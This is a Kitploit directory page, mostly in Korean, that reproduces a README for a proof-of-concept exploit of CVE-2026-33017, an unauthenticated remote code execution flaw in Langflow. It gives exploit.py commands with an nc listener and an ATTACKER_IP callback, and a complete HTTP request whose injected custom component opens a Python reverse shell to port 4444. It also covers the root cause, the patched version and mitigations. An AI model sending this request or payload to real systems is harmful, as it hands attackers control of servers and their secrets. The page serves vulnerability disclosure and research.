Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33017 — CVE-2026-33017에 대한 개념 증명 익스플로잇으로, Langflow의 build_public_tmp 엔드포인트에서 발생하는 인증되지 않은 RCE 취약점이며, 악성 사용자 정의 컴포넌트를 주입하여 리버스 셸을 획득합니다. | Kitploit
도구/GitHubGitHub/yym8538/cve-2026-33017
Vulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationPenetration TestingRed TeamingRemote Access ToolPayload DevelopmentAI Security
GitHubyym8538/cve-2026-33017

CVE-2026-33017

CVE-2026-33017에 대한 개념 증명 익스플로잇으로, Langflow의 build_public_tmp 엔드포인트에서 발생하는 인증되지 않은 RCE 취약점이며, 악성 사용자 정의 컴포넌트를 주입하여 리버스 셸을 획득합니다.

11개월 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow 원격 코드 실행 PoC ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7


환경 구성

다음 명령을 사용하여 취약한 Langflow 환경을 빌드하고 실행한다:

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

PoC 사용 방법

취약한 Langflow 인스턴스를 시작한 후, 대상 URL, Public flow ID, 공격자 콜백 주소를 지정하여 PoC를 실행한다.

옵션 A — 자체 리스너 사용:

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

옵션 B — --listen과 함께 내장 리스너 사용:

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
옵션설명
--url대상 Langflow 서버 URL
--flow-id공유된 Public flow의 UUID
--lhost공격자 콜백 IP
--lport공격자 콜백 포트
--listen외부 nc 대신 내장 리스너 실행

ENG

CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구축하기 위한 오픈소스 플랫폼인 Langflow의 Public flow 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이 build_public_tmp 엔드포인트에 조작된 flow 데이터를 전송함으로써 서버에서 임의의 Python 코드가 실행되도록 할 수 있다.


개요

CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 생성하기 위한 오픈소스 플랫폼인 Langflow의 다음 Public flow 빌드 엔드포인트에 영향을 미친다.

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow의 Public flow는 링크 또는 유사한 메커니즘을 통해 다른 사용자와 공유되도록 설계된다.
이 기능을 지원하기 위해 빌드 엔드포인트는 인증 없이 flow를 실행 가능한 상태로 준비하며, flow의 노드, 엣지, 설정을 읽어 실행에 필요한 내부 실행 그래프를 구성한다.

문제는 취약한 버전의 build_public_tmp가 서버에 저장된 Public flow 정보뿐만 아니라 요청 본문에 포함된 data 필드까지 받아들였다는 점이다.

이 data 필드는 다음을 포함한 전체 flow 정의를 담을 수 있었다:

  • 노드 목록
  • 노드 간 연결
  • 각 노드의 세부 구성 값
  • 실행에 필요한 템플릿 및 커스텀 컴포넌트 데이터

결과적으로 공격자는 인증되지 않은 요청을 통해 서버에 저장된 정상적인 Public flow에 의존하는 대신, 완전히 공격자가 제어하는 flow 구조를 주입할 수 있었다.

이 설계에서 특히 위험한 부분은 커스텀 컴포넌트(Custom Component) 기능이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등의 작업을 담당하는 개별 기능 블록을 나타낸다. 커스텀 컴포넌트는 사용자가 Python 코드로 직접 동작을 정의할 수 있는 확장 가능한 블록이다.

따라서 공격자는 조작된 data 객체 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 flow의 정상적인 일부인 것처럼 처리했다. 그 결과 주입된 코드가 빌드 또는 실행 과정에서 파싱되고 실행되어 궁극적으로 원격 코드 실행으로 이어질 수 있었다.


영향받는 버전

구분버전
취약Langflow 1.9.0 미만
패치됨Langflow 1.9.0 이상

GitHub Security Advisory는 영향 범위를 <= 1.8.2로 표기하지만, 실제 수정(data 파라미터 제거)은 1.9.0에 반영되었다. 따라서 1.8.3 / 1.8.4를 포함한 1.9.0 이전의 모든 릴리스가 영향을 받으며, CVE Record가 < 1.9.0으로 명시하는 이유이기도 하다.


영향

이 취약점을 성공적으로 악용하면 공격자가 Langflow 서버를 장악하고 다음과 같은 후속 행위를 수행할 수 있다:

  • 서버 셸 획득
  • 환경 변수 또는 기타 민감한 정보 유출
  • 추가 악성 코드 설치 및 지속성 확보

개념 증명

다음 PoC는 Langflow 1.8.1에서 CVE-2026-33017을 재현한 것이다.

1) Public Flow ID 확인

공격자는 먼저 대상 Public flow의 flow_id 를 확인한다.

Public Flow ID 확인

2) 악성 커스텀 컴포넌트를 포함한 빌드 요청 전송

공격자는 Python code가 임시 빌드 중 서버에서 실행되는 커스텀 컴포넌트를 주입하는 build_public_tmp 요청을 전송한다. 아래 요청에서 code 값은 자리표시자로 남겨 두었다 — 페이로드를 직접 삽입해야 한다(요청 아래 참고).

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) 셸 획득

빌드 과정에서 커스텀 컴포넌트에 포함된 코드가 서버에서 실행된다. exploit.py로 자동화된 리버스 셸 방식을 사용하면 공격자의 리스너로 연결이 수립되어, 공격자는 서버에서 임의 명령을 실행할 수 있는 대화형 셸을 획득한다.

셸 획득


기술 분석

build_public_tmp는 Public flow를 빌드하기 위한 것이었지만, 취약한 버전에서는 여전히 요청 본문에서 직접 data 필드를 받아들였다.

이러한 설계 때문에 공격자가 제공한 data가 서버 측 빌드 로직에 그대로 전달되었고, 커스텀 컴포넌트에 포함된 Python 코드가 정상적인 flow의 일부인 것처럼 처리되었다.

결과적으로 공격자는 서버에 저장된 원래의 Public flow에 의존할 필요 없이, 서버에서 실행될 수 있는 코드를 포함한 완전히 악성인 flow 정의를 직접 주입할 수 있었다.

패치 이후 build_public_tmp는 더 이상 외부에서 제공된 data를 받아들이지 않는다.
즉, 공격자가 요청 본문을 통해 전체 flow 정의를 주입할 수 있었던 경로가 제거되었고, 이로 인해 악성 커스텀 컴포넌트를 통한 임의 코드 실행도 차단되었다.

Patch Diff


완화 방안

  • Langflow 1.9.0 이상으로 업데이트
  • 불필요한 Public flow 노출 제거
  • Langflow 인스턴스에 대한 직접적인 외부 접근 제한

참고 자료

  • GitHub Security Advisory: GHSA-vwmf-pq79-vjvx
  • NVD: CVE-2026-33017
  • Patch Commit: 73b6612e3ef25fdae0a752d75b0fabd47328d4f0

Analysis

  • KR: https://www.skshieldus.com/report/eqstInsight/rt2607.html
  • EN:


KOR

CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이 build_public_tmp 엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.


Overview

CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.

문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.

이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.

  • 노드 목록
  • 노드 간 연결 관계
  • 각 노드의 세부 설정값
  • 실행에 필요한 템플릿 및 커스텀 컴포넌트 정보

즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.

이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.

공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.


Affected Versions

구분버전
취약 버전Langflow 1.9.0 미만
패치 버전Langflow 1.9.0 이상

GitHub Security Advisory는 영향 범위를 <= 1.8.2로 표기하지만, 실제 패치(data 파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를 < 1.9.0으로 명시한다.


Impact

이 취약점을 통해 공격자는 Langflow 서버를 제어한 뒤 추가 행위를 수행할 수 있다. 대표적인 영향은 다음과 같다.

도구 다운로드